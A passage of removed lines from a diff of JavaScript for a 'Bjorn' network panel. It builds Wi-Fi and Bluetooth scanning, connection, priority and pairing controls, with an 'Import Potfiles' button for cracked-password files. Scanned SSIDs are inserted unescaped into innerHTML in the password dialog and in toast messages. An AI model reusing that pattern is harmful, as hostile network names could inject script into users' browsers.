(window.__BJORN_QP_INIT__) return; -window.__BJORN_QP_INIT__ = true; - - // ===== Utilities (unchanged) - const $ = s => document.querySelector(s); - const $$ = s => Array.from(document.querySelectorAll(s)); - const el = (tag,attrs={},children=[])=>{ - const n=document.createElement(tag); - for(const [k,v] of Object.entries(attrs)){ - if(k==='class') n.className=v; - else if(k==='style') n.style.cssText=v; - else if(k.startsWith('on')&&typeof v==='function') n.addEventListener(k.slice(2),v); - else if(v!==null&&v!==undefined) n.setAttribute(k,v); - } - if(!Array.isArray(children)) children = children ? [children] : []; - children.forEach(c=> n.append(c?.nodeType?c:document.createTextNode(c))); - return n; - }; - const clamp=(v,min,max)=>Math.max(min,Math.min(max,v)); - const uid = (p='id')=>`${p}-${Math.random().toString(36).slice(2,9)}`; - - // ===== Config loader and API setup (unchanged) -(async function(){ - // Safeguard: wait DOM if script is in without "defer" - if(!document.body){ - await new Promise(r=>document.addEventListener('DOMContentLoaded', r, {once:true})); - } - if(window.__BJORN_INIT__) return; window.__BJORN_INIT__ = true; - - // ===== Utilities - const $ = s => document.querySelector(s); - const $$ = s => Array.from(document.querySelectorAll(s)); - const el = (tag,attrs={},children=[])=>{ - const n=document.createElement(tag); - for(const [k,v] of Object.entries(attrs)){ - if(k==='class') n.className=v; - else if(k==='style') n.style.cssText=v; - else if(k.startsWith('on')&&typeof v==='function') n.addEventListener(k.slice(2),v); - else if(v!==null&&v!==undefined) n.setAttribute(k,v); - } - if(!Array.isArray(children)) children = children ? [children] : []; - children.forEach(c=> n.append(c?.nodeType?c:document.createTextNode(c))); - return n; - }; - const clamp=(v,min,max)=>Math.max(min,Math.min(max,v)); - const uid = (p='id')=>`${p}-${Math.random().toString(36).slice(2,9)}`; - - // ... [Config loader and API setup unchanged] ... - - // ===== Enhanced Modern Quickpanel with iOS/Android style ===== -let qp = $('#quickpanel'); -if(!qp){ - // Add modern quickpanel styles - const qpStyles = el('style', {}, ` - /* Modern Quickpanel Styles */ - .quickpanel { - position: fixed; - left: 0; - right: 0; - width: min(720px, 92vw); - margin: 0 auto; - top: -88vh; - height: 85vh; - background: linear-gradient(180deg, - rgba(14,23,23,.98) 0%, - rgba(10,16,16,.98) 100%); - backdrop-filter: blur(24px); - -webkit-backdrop-filter: blur(24px); - border: 1px solid rgba(0,255,154,.15); - border-top: none; - border-radius: 0 0 24px 24px; - box-shadow: 0 10px 40px rgba(0,255,154,.2); - z-index: 50; - transition: transform .35s cubic-bezier(.4,0,.2,1); - transform: translateY(0); - overscroll-behavior: contain; - } - .quickpanel.open { transform: translateY(85vh); height: auto; } - - .qp-handle { - position: sticky; top: 0; height: 36px; - display: flex; align-items: center; justify-content: center; - cursor: grab; touch-action: pan-y; - background: rgba(0,0,0,.2); - border-radius: 24px 24px 0 0; - } - .qp-handle-bar { - width: 36px; height: 5px; border-radius: 3px; - background: linear-gradient(90deg, transparent, rgba(0,255,154,.4), transparent); - box-shadow: 0 0 10px rgba(0,255,154,.6); - } - - .qp-header { - padding: 16px 20px; - background: rgba(0,0,0,.3); - border-bottom: 1px solid rgba(0,255,154,.1); - } - .qp-title { font-size: 20px; font-weight: 600; color: var(--acid); margin: 0; } - .qp-subtitle { font-size: 12px; color: var(--muted); margin-top: 4px; } - - /* Tabs */ - .qp-tabs { - display: flex; gap: 8px; - padding: 10px 16px 0 16px; - background: rgba(0,0,0,.15); - border-bottom: 1px solid rgba(0,255,154,.08); - } - .qp-tab { - appearance: none; border: 1px solid rgba(0,255,154,.15); - background: rgba(0,255,154,.08); - color: var(--acid); - padding: 8px 14px; font-size: 13px; font-weight: 600; - border-radius: 999px; cursor: pointer; - transition: transform .15s ease, background .2s ease, box-shadow .2s ease; - display: inline-flex; align-items: center; gap: 8px; - } - .qp-tab .tab-ico { width: 16px; height: 16px; display: inline-block; } - .qp-tab:hover { transform: translateY(-1px); background: rgba(0,255,154,.14); } - .qp-tab[aria-selected="true"] { - background: rgba(0,255,154,.22); - box-shadow: 0 0 12px rgba(0,255,154,.25) inset; - border-color: rgba(0,255,154,.35); - } - - .qp-content { - padding: 16px; - height: calc(100% - 200px); /* header + tabs height */ - scrollbar-width: thin; - scrollbar-color: rgba(0,255,154,.3) transparent; - } - .qp-pane { display: none; } - .qp-pane.active { display: block; } - - /* Network Tile */ - .network-tile { - background: rgba(18,33,33,.6); - border: 1px solid rgba(0,255,154,.1); - border-radius: 16px; - padding: 16px; margin-bottom: 16px; - transition: all .2s ease; - } - .network-tile:hover { - background: rgba(18,33,33,.8); - border-color: rgba(0,255,154,.2); - transform: translateY(-2px); - box-shadow: 0 8px 24px rgba(0,255,154,.15); - } - .network-header { - display: flex; align-items: center; justify-content: space-between; - margin-bottom: 16px; - } - .network-title { - display: flex; align-items: center; gap: 12px; - font-size: 16px; font-weight: 600; color: var(--ink); - } - .network-icon { - width: 60px; height: 60px; padding: 8px; border-radius: 50%; - display: flex; align-items: center; justify-content: center; - } - - /* iOS Toggle Switch */ - .ios-switch { - position: relative; width: 51px; height: 31px; - background: rgba(120,120,128,.16); - border-radius: 31px; cursor: pointer; transition: background .3s ease; - } - .ios-switch.on { background: var(--acid); } - .ios-switch::after { - content: ''; position: absolute; top: 2px; left: 2px; - width: 27px; height: 27px; background: white; border-radius: 27px; - box-shadow: 0 3px 8px rgba(0,0,0,.15); - transition: transform .3s cubic-bezier(.4,0,.2,1); - } - .ios-switch.on::after { transform: translateX(20px); } - - /* Auto-scan toggle */ - .auto-scan-toggle { - display: flex; align-items: center; gap: 8px; - padding: 6px 12px; background: rgba(0,255,154,.1); - border: 1px solid rgba(0,255,154,.2); border-radius: 20px; - font-size: 12px; color: var(--acid); - cursor: pointer; transition: all .2s ease; - } - .auto-scan-toggle.active { background: rgba(0,255,154,.2); animation: pulse 2s infinite; } - @keyframes pulse { 0%,100%{opacity:1} 50%{opacity:.7} } - - /* Quick Actions Bar */ - .quick-actions { - display: flex; gap: 8px; margin-bottom: 12px; - overflow-x: auto; padding-bottom: 4px; scrollbar-width: none; align-items: center; - } - .quick-actions::-webkit-scrollbar { display: none; } - .action-btn { - flex-shrink: 0; padding: 8px 16px; - background: rgba(0,255,154,.1); border: 1px solid rgba(0,255,154,.2); - border-radius: 20px; color: var(--acid); font-size: 13px; font-weight: 500; - cursor: pointer; transition: all .2s ease; white-space: nowrap; - } - .action-btn:hover { background: rgba(0,255,154,.2); transform: scale(1.05); } - .action-btn:active { transform: scale(.98); } - .action-btn.scanning { animation: pulse 1s infinite; } - - /* Network list & cards */ - .network-list { display: flex; flex-direction: column; gap: 10px; max-height: 400px; overflow-y: auto; padding-right: 4px; } - .net-card { - background: rgba(10,16,16,.6); border: 1px solid rgba(0,255,154,.08); - border-radius: 12px; padding: 20px; - display: flex; align-items: center; justify-content: space-between; - cursor: pointer; transition: all .2s ease; position: relative; - } - .net-card:hover { background: rgba(10,16,16,.8); border-color: rgba(0,255,154,.2); transform: translateX(4px); } - .net-card.connected { - background: linear-gradient(90deg, rgba(0,255,154,.08) 0%, rgba(0,255,154,.03) 100%); - border-color: rgba(0,255,154,.3); - } - .net-card.connected::before { - content: ''; position: absolute; left: 0; top: 0; bottom: 0; width: 3px; - background: var(--acid); box-shadow: 0 0 10px var(--acid); - } - .net-card.known { border-left: 2px solid rgba(24,240,255,.5); } - .net-info { flex: 1; display: flex; flex-direction: column; gap: 6px; } - .net-name { font-size: 14px; font-weight: 500; color: var(--ink); display: flex; align-items: center; gap: 8px; flex-wrap: wrap; } - .net-meta { display: flex; align-items: center; gap: 8px; font-size: 11px; color: var(--muted); } - - /* Badges */ - .badge-modern { - padding: 2px 8px; background: rgba(255,255,255,.08); border: 1px solid rgba(255,255,255,.1); - border-radius: 10px; font-size: 10px; font-weight: 500; text-transform: uppercase; letter-spacing: .5px; - } - .badge-open { background: rgba(0,255,154,.15); border-color: rgba(0,255,154,.4); color: var(--acid); } - .badge-wpa,.badge-wpa2,.badge-wpa3 { background: rgba(24,240,255,.15); border-color: rgba(24,240,255,.4); color: var(--acid-2); } - .badge-wep { background: rgba(255,209,102,.15); border-color: rgba(255,209,102,.4); color: var(--warning); } - .badge-known { background: rgba(255,255,255,.05); border-color: rgba(255,255,255,.15); color: var(--muted); } - .badge-priority { background: rgba(255,138,0,.15); border-color: rgba(255,138,0,.4); color: #ff8a00; font-weight: 600; } - - /* Signal indicator */ - .signal-indicator { display: flex; align-items: flex-end; gap: 2px; height: 16px; } - .signal-bar { width: 3px; background: rgba(255,255,255,.15); border-radius: 2px; transition: all .3s ease; } - .signal-bar:nth-child(1){height:4px} .signal-bar:nth-child(2){height:7px} - .signal-bar:nth-child(3){height:10px} .signal-bar:nth-child(4){height:13px} - .signal-bar:nth-child(5){height:16px} - .signal-bar.active { background: var(--sig-color, var(--acid)); box-shadow: 0 0 4px var(--sig-color, var(--acid)); } - .sig-excellent{--sig-color:#00ff9a} .sig-good{--sig-color:#18f0ff} - .sig-fair{--sig-color:#ffd166} .sig-poor{--sig-color:#ff8a00} .sig-weak{--sig-color:#ff3b3b} - - /* Actions */ - .net-action { - padding: 6px 12px; background: rgba(0,255,154,.1); - border: 1px solid rgba(0,255,154,.2); border-radius: 8px; - color: var(--acid); font-size: 12px; font-weight: 500; cursor: pointer; transition: all .2s ease; - } - .net-action:hover { background: rgba(0,255,154,.2); transform: scale(1.05); } - .net-action:disabled { opacity: .4; cursor: not-allowed; } - .net-action.danger { background: rgba(255,59,59,.1); border-color: rgba(255,59,59,.2); color: var(--danger); } - .net-action.danger:hover { background: rgba(255,59,59,.2); } - - /* Bluetooth status dots */ - .bt-status { display: flex; align-items: center; gap: 6px; } - .bt-indicator { width: 8px; height: 8px; border-radius: 50%; background: rgba(255,255,255,.2); } - .bt-indicator.connected { background: var(--acid); box-shadow: 0 0 8px var(--acid); } - .bt-indicator.paired { background: var(--acid-2); box-shadow: 0 0 8px var(--acid-2); } - .bt-indicator.trusted { background: var(--warning); box-shadow: 0 0 8px var(--warning); } - - /* Modal enhanced */ - .modal-enhanced { - background: linear-gradient(180deg, rgba(14,23,23,.98) 0%, rgba(10,16,16,.98) 100%); - backdrop-filter: blur(16px); border: 1px solid rgba(0,255,154,.2); - border-radius: 16px; padding: 20px; max-width: 500px; margin: 0 auto; - box-shadow: 0 20px 60px rgba(0,255,154,.3); - } - .modal-enhanced h3 { color: var(--acid); margin-bottom: 16px; } - .modal-enhanced input { - width: 100%; padding: 10px; background: rgba(18,33,33,.6); - color: var(--ink); border: 1px solid rgba(0,255,154,.2); border-radius: 8px; margin: 8px 0 16px; - } - .modal-enhanced input:focus { outline: none; border-color: var(--acid); box-shadow: 0 0 10px rgba(0,255,154,.3); } - - /* Mobile tweaks */ - @media (max-width: 768px) { - .quickpanel { height: 75vh; } - .quickpanel.open { height:auto; } - .network-tile { padding: 12px; } - .quick-actions { gap: 6px; } - .action-btn { padding: 6px 12px; font-size: 12px; } - .quickpanel { width: 100vw; margin: 0; } - } - `); - document.head.appendChild(qpStyles); - - // Panel structure with Tabs - qp = el('section',{class:'quickpanel',id:'quickpanel'},[ - el('div',{class:'qp-handle',id:'qpHandle'},[ - el('div',{class:'qp-handle-bar'}) - ]), - el('div',{class:'qp-header'},[ - el('div',{class:'qp-head-left'},[ - el('h2',{class:'qp-title', id:'qpTitle'},'Network Control'), - el('div',{class:'qp-subtitle'},'Manage your connections') - ]), - el('button',{ - class:'qp-close', - id:'qpClose', - 'aria-label':'Close network panel', - title:'Close (Esc)' - }, '✕') - ]), - - // Tabs bar - el('div',{class:'qp-tabs',role:'tablist','aria-label':'Network tabs'},[ - el('button',{class:'qp-tab', id:'tabWifi', role:'tab','aria-selected':'true','aria-controls':'pane-wifi', tabindex:'0'},[ - el('img',{class:'tab-ico', src:'/web/images/wifi.png', alt:''}), - 'Wi-Fi' - ]), - el('button',{class:'qp-tab', id:'tabBt', role:'tab','aria-selected':'false','aria-controls':'pane-bt', tabindex:'-1'},[ - el('img',{class:'tab-ico', src:'/web/images/bluetooth.png', alt:''}), - 'Bluetooth' - ]) - ]), - - el('div',{class:'qp-content'},[ - // Wi-Fi pane (default active) - el('div',{class:'qp-pane active', id:'pane-wifi', role:'tabpanel','aria-labelledby':'tabWifi'},[ - el('div',{class:'network-tile',id:'wifiTile'},[ - el('div',{class:'network-header'},[ - el('div',{class:'network-title'},[ - el('div',{class:'network-icon'},[ - el('img',{src:'/web/images/wifi.png',alt:'Wi-Fi',width:'50',height:'50'}) - ]), - 'Wi-Fi' - ]), - el('div',{class:'auto-scan-toggle',id:'wifiAutoScan'},[ - el('span',{},'Auto-scan'), - el('span',{id:'wifiAutoScanStatus'},'OFF') - ]), - el('div',{class:'ios-switch on',id:'wifiSwitch',role:'switch','aria-label':'Wi-Fi'}) - ]), - el('div',{class:'quick-actions'},[ - el('button',{class:'action-btn',id:'wifiScan'},'Scan'), - el('button',{class:'action-btn',id:'wifiKnown'},'Saved Networks'), - el('button',{class:'action-btn',id:'wifiPot'},'Import Potfiles'), - el('button',{class:'action-btn',id:'wifiUp',title:'Increase priority'},'Priority ↑'), - el('button',{class:'action-btn',id:'wifiDown',title:'Decrease priority'},'Priority ↓'), - - ]), - el('div',{class:'network-list',id:'wifiList'}) - ]) - ]), - - // Bluetooth pane - el('div',{class:'qp-pane', id:'pane-bt', role:'tabpanel','aria-labelledby':'tabBt'},[ - el('div',{class:'network-tile',id:'btTile'},[ - el('div',{class:'network-header'},[ - el('div',{class:'network-title'},[ - el('div',{class:'network-icon'},[ - el('img',{src:'/web/images/bluetooth.png',alt:'Bluetooth',width:'50',height:'50'}) - ]), - 'Bluetooth' - ]), - el('div',{class:'ios-switch',id:'btSwitch',role:'switch','aria-label':'Bluetooth'}) - ]), - el('div',{class:'quick-actions'},[ - el('button',{class:'action-btn',id:'btScan'},'Discover'), - el('div',{class:'auto-scan-toggle',id:'btAutoScan'},[ - el('span',{},'Auto-scan'), - el('span',{id:'btAutoScanStatus'},'OFF') - ]) - ]), - el('div',{class:'network-list',id:'btList'}) - ]) - ]) - ]) - ]); - document.body.appendChild(qp); -} -document.getElementById('qpClose')?.addEventListener('click', () => qpShow(false)); - -/* ==== Tabs wiring (Wi-Fi default) ==== */ -(function wireQpTabs(){ - const wifiTab = document.getElementById('tabWifi'); - const btTab = document.getElementById('tabBt'); - const wifiPane = document.getElementById('pane-wifi'); - const btPane = document.getElementById('pane-bt'); - - if (!wifiTab || !btTab || !wifiPane || !btPane) return; - - function setTab(which){ - const isWifi = which === 'wifi'; - - // selected states - wifiTab.setAttribute('aria-selected', String(isWifi)); - btTab.setAttribute('aria-selected', String(!isWifi)); - wifiTab.tabIndex = isWifi ? 0 : -1; - btTab.tabIndex = isWifi ? -1 : 0; - - // panes - wifiPane.classList.toggle('active', isWifi); - btPane.classList.toggle('active', !isWifi); - - // focus for accessibility - (isWifi ? wifiTab : btTab).focus({preventScroll:true}); - - // trigger scans when switching - try{ - if (isWifi) { - if (typeof scanWifi === 'function') scanWifi(); - } else { - if (typeof scanBt === 'function') scanBt(); - } - }catch{} - } - - wifiTab.addEventListener('click', () => setTab('wifi')); - btTab.addEventListener('click', () => setTab('bt')); - - // Keyboard navigation for tabs (Left/Right/Home/End) - const onKey = (e)=>{ - const keys = ['ArrowLeft','ArrowRight','Home','End']; - if (!keys.includes(e.key)) return; - e.preventDefault(); - const curIsWifi = wifiTab.getAttribute('aria-selected') === 'true'; - if (e.key === 'ArrowRight' || e.key === 'End') setTab(curIsWifi ? 'bt' : 'bt'); - if (e.key === 'ArrowLeft' || e.key === 'Home') setTab(curIsWifi ? 'wifi' : 'wifi'); - }; - wifiTab.addEventListener('keydown', onKey); - btTab.addEventListener('keydown', onKey); - - // Default tab: Wi-Fi - setTab('wifi'); -})(); - - -function enableQpOutsideClose(){ - const qp = document.getElementById('quickpanel'); - const openBtn = document.getElementById('openQuick'); - if (!qp) return; - - const shouldClose = (target) => { - if (!qp.classList.contains('open')) return false; - if (qp.contains(target)) return false; - if (openBtn && openBtn.contains(target)) return false; - return true; - }; - - // Gestionnaire unique pour éviter les conflits - const handleOutsideClick = (e) => { - if (shouldClose(e.target)) { - e.preventDefault(); - e.stopPropagation(); - qpShow(false); - } - }; - - document.addEventListener('click', handleOutsideClick, true); - document.addEventListener('touchend', handleOutsideClick, { passive: false, capture: true }); -} - -// Remplacez l'appel existant par : -document.getElementById('qpClose')?.addEventListener('click', (e) => { - e.preventDefault(); - qpShow(false); -}); - -enableQpOutsideClose(); - - // ======= Enhanced Wi-Fi & Bluetooth Management ======= - const wifiList = $('#wifiList'); - const btList = $('#btList'); - const wifiSwitch = $('#wifiSwitch'); - const btSwitch = $('#btSwitch'); - const wifiState = { - enabled: true, - current: null, - known: new Map(), // Map for priority tracking - networks: [], - autoScan: false, - autoScanInterval: null - }; - const btState = { - enabled: false, - devices: [], - autoScan: false, - autoScanInterval: null - }; - - // Enhanced toast function - const toast = (msg, type = 'info', duration = 2600) => { - const toastEl = el('div',{ - class:`toast toast-${type}`, - style:`background: ${ - type === 'success' ? 'rgba(0,255,154,.2)' : - type === 'error' ? 'rgba(255,59,59,.2)' : - type === 'warning' ? 'rgba(255,209,102,.2)' : - 'rgba(24,240,255,.2)' - }; border-color: ${ - type === 'success' ? 'rgba(0,255,154,.5)' : - type === 'error' ? 'rgba(255,59,59,.5)' : - type === 'warning' ? 'rgba(255,209,102,.5)' : - 'rgba(24,240,255,.5)' - };` - }); - toastEl.innerHTML = msg; - const toastBox = $('#toasts') || document.body; - toastBox.appendChild(toastEl); - setTimeout(()=> { - toastEl.style.transition='transform .2s ease, opacity .2s'; - toastEl.style.transform='translateY(10px)'; - toastEl.style.opacity='0'; - setTimeout(()=>toastEl.remove(),220); - }, duration); - }; - - // Signal strength calculation with proper color coding - const getSignalInfo = (dbm) => { - if (dbm === undefined || dbm === null) return { bars: 1, strength: 'weak', color: 'var(--danger)' }; - - const level = parseInt(dbm); - if (level >= -50) return { bars: 5, strength: 'excellent', color: '#00ff9a' }; - if (level >= -60) return { bars: 4, strength: 'good', color: '#18f0ff' }; - if (level >= -70) return { bars: 3, strength: 'fair', color: '#ffd166' }; - if (level >= -80) return { bars: 2, strength: 'poor', color: '#ff8a00' }; - return { bars: 1, strength: 'weak', color: '#ff3b3b' }; - }; - - // Create signal indicator element - const createSignalIndicator = (dbm) => { - const info = getSignalInfo(dbm); - const indicator = el('div', { - class: `signal-indicator sig-${info.strength}`, - style: `--sig-color: ${info.color}`, - title: `Signal: ${dbm || '?'} dBm` - }); - - for (let i = 1; i <= 5; i++) { - indicator.appendChild( - el('div', { class: `signal-bar ${i <= info.bars ? 'active' : ''}` }) - ); - } - - return indicator; - }; - - // Parse security string properly - const parseSecurityType = (security) => { - if (!security) return { type: 'OPEN', badge: 'badge-open', label: 'OPEN' }; - - const upper = security.toUpperCase(); - if (upper.includes('WPA3')) return { type: 'WPA3', badge: 'badge-wpa3', label: 'WPA3' }; - if (upper.includes('WPA2')) return { type: 'WPA2', badge: 'badge-wpa2', label: 'WPA2' }; - if (upper.includes('WPA')) return { type: 'WPA', badge: 'badge-wpa', label: 'WPA' }; - if (upper.includes('WEP')) return { type: 'WEP', badge: 'badge-wep', label: 'WEP' }; - if (upper === 'OPEN' || upper === '--') return { type: 'OPEN', badge: 'badge-open', label: 'OPEN' }; - - return { type: 'UNKNOWN', badge: 'badge-wpa', label: security }; - }; - - // Fetch known Wi-Fi networks with priorities - async function fetchKnownWifi(){ - try { - const r = await fetch('/get_known_wifi', {cache:'no-store'}); - const j = await r.json(); - wifiState.known.clear(); - (j.known_networks||[]).forEach(n => { - wifiState.known.set(n.ssid, n.priority || 0); - }); - } catch(e){ - console.error('getKnownWifi', e); - } - } - - // Enhanced Wi-Fi scan with proper sorting -const scanWifi = async () => { - if (!wifiState.enabled) { - toast('Wi-Fi is disabled', 'warning'); - return; - }; - - const btn = $('#wifiScan'); - btn?.classList.add('scanning'); - - try { - await fetchKnownWifi(); - const r = await fetch('/scan_wifi', { cache: 'no-store' }); - const j = await r.json(); - wifiState.current = j.current_ssid || null; - wifiState.networks = j.networks || []; - - wifiList.innerHTML = ''; - - // Sort networks by: 1. Connected, 2. Priority (known), 3. Signal strength - const sortedNetworks = wifiState.networks - .map(net => ({ - ...net, - isKnown: wifiState.known.has(net.ssid), - priority: wifiState.known.get(net.ssid) || 0, - isCurrent: wifiState.current === net.ssid - })) - .sort((a, b) => { - // Connected network always first - if (a.isCurrent) return -1; - if (b.isCurrent) return 1; - - // Then by priority (higher first) - if (a.priority !== b.priority) return b.priority - a.priority; - - // Then by signal strength - return (b.signal_level || -100) - (a.signal_level || -100); - }); - - sortedNetworks.forEach((net, index) => { - const ssid = net.ssid || '(hidden)'; - const security = parseSecurityType(net.security); - - const card = el('div', { - class: `net-card ${net.isCurrent ? 'connected' : ''} ${net.isKnown ? 'known' : ''}`, - 'data-ssid': ssid, - 'data-index': index - }); - - const info = el('div', { class: 'net-info' }); - const nameRow = el('div', { class: 'net-name' }); - - nameRow.appendChild(document.createTextNode(ssid)); - - if (net.isCurrent) { - nameRow.appendChild(el('span', { - class: 'badge-modern', - style: 'background: rgba(0,255,154,.2); border-color: rgba(0,255,154,.5); color: var(--acid)' - }, '● Connected')); - } - - const metaRow = el('div', { class: 'net-meta' }); - - // Security badge - metaRow.appendChild(el('span', { - class: `badge-modern ${security.badge}` - }, security.label)); - - // Known badge with priority - if (net.isKnown) { - metaRow.appendChild(el('span', { - class: 'badge-modern badge-known' - }, 'Saved')); - - if (net.priority > 0) { - metaRow.appendChild(el('span', { - class: 'badge-modern badge-priority' - }, `P${net.priority}`)); - } - } - - // Channel info - if (net.channel) { - metaRow.appendChild(el('span', { - class: 'badge-modern' - }, `CH ${net.channel}`)); - } - - // BSSID - if (net.bssid) { - metaRow.appendChild(el('span', { - class: 'badge-modern', - style: 'font-size: 9px; opacity: 0.7;' - }, net.bssid)); - } - - info.appendChild(nameRow); - info.appendChild(metaRow); - card.appendChild(info); - - // Signal indicator with proper level - card.appendChild(createSignalIndicator(net.signal_level)); - - // Action button - const actionBtn = el('button', { - class: 'net-action', - disabled: !wifiState.enabled - }, net.isCurrent ? 'Connected' : 'Connect'); - - if (!net.isCurrent) { - actionBtn.addEventListener('click', async (e) => { - e.stopPropagation(); - await connectToWifi(net); - }); - } - - card.appendChild(actionBtn); - wifiList.appendChild(card); - }); - - toast(`Found ${sortedNetworks.length} networks`, 'success', 1800); - - } catch (e) { - console.error('scanWifi', e); - toast('Wi-Fi scan failed', 'error'); - } finally { - btn?.classList.remove('scanning'); - } - } - - // Connect to Wi-Fi with improved flow - async function connectToWifi(net) { - const ssid = net.ssid; - const security = parseSecurityType(net.security); - - try { - // Try known network first - if (net.isKnown) { - const rk = await fetch('/connect_known_wifi', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ ssid }) - }); - const jk = await rk.json(); - if (jk.status === 'success') { - toast(`Connected to ${ssid}`, 'success'); - scanWifi(); - return; - } - } - - // If secured, ask for password - if (security.type !== 'OPEN') { - const dialog = el('div',{class:'modal-enhanced'}); - dialog.innerHTML = ` -
                -

                Connect to Wi-Fi

                -
                - Network: ${ssid}
                - Security: ${security.label} -
                - - -
                - - -
                -
                - `; - - const backdrop = $('#sysDialogBackdrop') || el('div',{class:'modal-backdrop',id:'sysDialogBackdrop'}); - backdrop.innerHTML = ''; - backdrop.appendChild(dialog); - backdrop.style.display = 'flex'; - document.body.appendChild(backdrop); - - const form = dialog.querySelector('form'); - const input = dialog.querySelector('input'); - const cancelBtn = dialog.querySelector('[data-cancel]'); - - const closeDialog = () => { - backdrop.style.display = 'none'; - }; - - cancelBtn.addEventListener('click', closeDialog); - - form.addEventListener('submit', async (e) => { - e.preventDefault(); - const password = input.value; - - if (password.length < 8) { - toast('Password must be at least 8 characters', 'warning'); - return; - } - - try { - const r = await fetch('/connect_wifi', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ ssid, password }) - }); - const j = await r.json(); - - if (j.status === 'success') { - toast(`Connected to ${ssid}`, 'success'); - closeDialog(); - scanWifi(); - } else { - toast(j.message || 'Connection failed', 'error'); - } - } catch (err) { - toast('Connection error', 'error'); - } - }); - - setTimeout(() => input.focus(), 100); - - } else { - // Open network - const r = await fetch('/connect_wifi', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ ssid }) - }); - const j = await r.json(); - - if (j.status === 'success') { - toast(`Connected to ${ssid}`, 'success'); - scanWifi(); - } else { - toast(j.message || 'Connection failed', 'error'); - } - } - } catch (e) { - console.error('connectToWifi', e); - toast('Connection error', 'error'); - } - } - - // Priority management - async function wifiPriorityUpDown(dir) { - if (!wifiState.current) { - toast('No network connected', 'warning'); - return; - } - - const currentPriority = wifiState.known.get(wifiState.current) || 0; - const newPriority = Math.max(0, currentPriority + dir); - - try { - const r = await fetch('/update_wifi_priority', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ - ssid: wifiState.current, - priority: newPriority - }) - }); - const j = await r.json(); - - if (j.status === 'success') { - toast(`Priority ${dir > 0 ? 'increased' : 'decreased'} to ${newPriority}`, 'success'); - scanWifi(); - } else { - toast(j.message || 'Priority update failed', 'error'); - } - } catch (e) { - console.error('update_priority', e); - toast('Priority update error', 'error'); - } - } - - // Enhanced Bluetooth scan with device states -const scanBt = async () => { - if (!btState.enabled) { - toast('Bluetooth is disabled', 'warning'); - return; - }; - - const btn = $('#btScan'); - btn?.classList.add('scanning'); - - try { - const r = await fetch('/scan_bluetooth', { cache: 'no-store' }); - const j = await r.json(); - btState.devices = j.devices || []; - - btList.innerHTML = ''; - - // Sort devices: connected first, then paired, then by name - const sortedDevices = btState.devices.sort((a, b) => { - if (a.connected !== b.connected) return a.connected ? -1 : 1; - if (a.paired !== b.paired) return a.paired ? -1 : 1; - if (a.trusted !== b.trusted) return a.trusted ? -1 : 1; - return (a.name || '').localeCompare(b.name || ''); - }); - - sortedDevices.forEach(dev => { - const { name = 'Unknown Device', address, paired, trusted, connected, rssi } = dev; - - const card = el('div', { - class: `net-card ${connected ? 'connected' : ''}`, - 'data-address': address - }); - - const info = el('div', { class: 'net-info' }); - const nameRow = el('div', { class: 'net-name' }); - - // Device name with status - nameRow.appendChild(document.createTextNode(name)); - - // Status indicators - const statusDiv = el('div', { class: 'bt-status' }); - - if (connected) { - statusDiv.appendChild(el('div', { - class: 'bt-indicator connected', - title: 'Connected' - })); - } - if (paired) { - statusDiv.appendChild(el('div', { - class: 'bt-indicator paired', - title: 'Paired' - })); - } - if (trusted) { - statusDiv.appendChild(el('div', { - class: 'bt-indicator trusted', - title: 'Trusted' - })); - } - - nameRow.appendChild(statusDiv); - - const metaRow = el('div', { class: 'net-meta' }); - metaRow.appendChild(el('span', { class: 'badge-modern' }, address)); - - if (connected) { - metaRow.appendChild(el('span', { - class: 'badge-modern', - style: 'background: rgba(0,255,154,.2); border-color: rgba(0,255,154,.5); color: var(--acid)' - }, 'Connected')); - } else if (paired) { - metaRow.appendChild(el('span', { - class: 'badge-modern badge-known' - }, 'Paired')); - } - - if (trusted) { - metaRow.appendChild(el('span', { - class: 'badge-modern badge-priority' - }, 'Trusted')); - } - - info.appendChild(nameRow); - info.appendChild(metaRow); - card.appendChild(info); - - // Signal indicator for Bluetooth RSSI - card.appendChild(createSignalIndicator(rssi || -70)); - - // Action buttons based on device state - const actionsDiv = el('div', { - style: 'display:flex; gap:6px;' - }); - - if (connected) { - actionsDiv.appendChild(el('button', { - class: 'net-action danger', - onclick: () => doDisconnect(address, name) - }, 'Disconnect')); - } else if (paired && trusted) { - actionsDiv.appendChild(el('button', { - class: 'net-action', - onclick: () => doConnect(address, name) - }, 'Connect')); - } else if (paired && !trusted) { - actionsDiv.appendChild(el('button', { - class: 'net-action', - onclick: () => doTrust(address, name) - }, 'Trust')); - } else { - actionsDiv.appendChild(el('button', { - class: 'net-action', - onclick: () => doPair(address, name) - }, 'Pair')); - } - - if (paired || trusted) { - actionsDiv.appendChild(el('button', { - class: 'net-action danger', - onclick: () => doForget(address, name) - }, 'Forget')); - } - - card.appendChild(actionsDiv); - btList.appendChild(card); - }); - - toast(`Found ${sortedDevices.length} devices`, 'success', 1800); - - } catch (e) { - console.error('scanBluetooth', e); - toast('Bluetooth scan failed', 'error'); - } finally { - btn?.classList.remove('scanning'); - } - } - - // Bluetooth actions with proper error handling - async function doPair(address, name) { - try { - toast(`Pairing with ${name}...`, 'info'); - - const r = await fetch('/pair_bluetooth', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ address }) - }); - const j = await r.json(); - - if (j.status === 'needs_pin') { - const pin = prompt(`Enter PIN for ${name}:`); - if (!pin) return; - - const rp = await fetch('/pair_bluetooth', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ address, pin }) - }); - const jp = await rp.json(); - - if (jp.status === 'success' || jp.status === 'partial') { - toast(`Paired with ${name}`, 'success'); - await doTrust(address, name); - } else { - toast(jp.message || 'Pairing failed', 'error'); - } - } else if (j.status === 'needs_confirmation') { - if (confirm(`Accept pairing with ${name}?`)) { - const rc = await fetch('/pair_bluetooth', { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ address, confirm: true }) - }); - const jc = await rc.json(); - - if (jc.status === 'success') { - toast(`Paired with ${name}`, 'success'); - await doTrust(address, name); - } else { - toast(jc.message || 'Pairing failed', 'error'); - } - } - } else if (j.status === 'success') { - toast(`Paired with ${name}`, 'success'); - await doTrust(address, name); - } else { - toast(j.message || 'Pairing failed', 'error'); - } - - scanBt(); - } catch (e) { - console.error('pair', e); - toast('Pairing error', 'error'); - } - } - - async function doTrust(address, name) { - try { - const 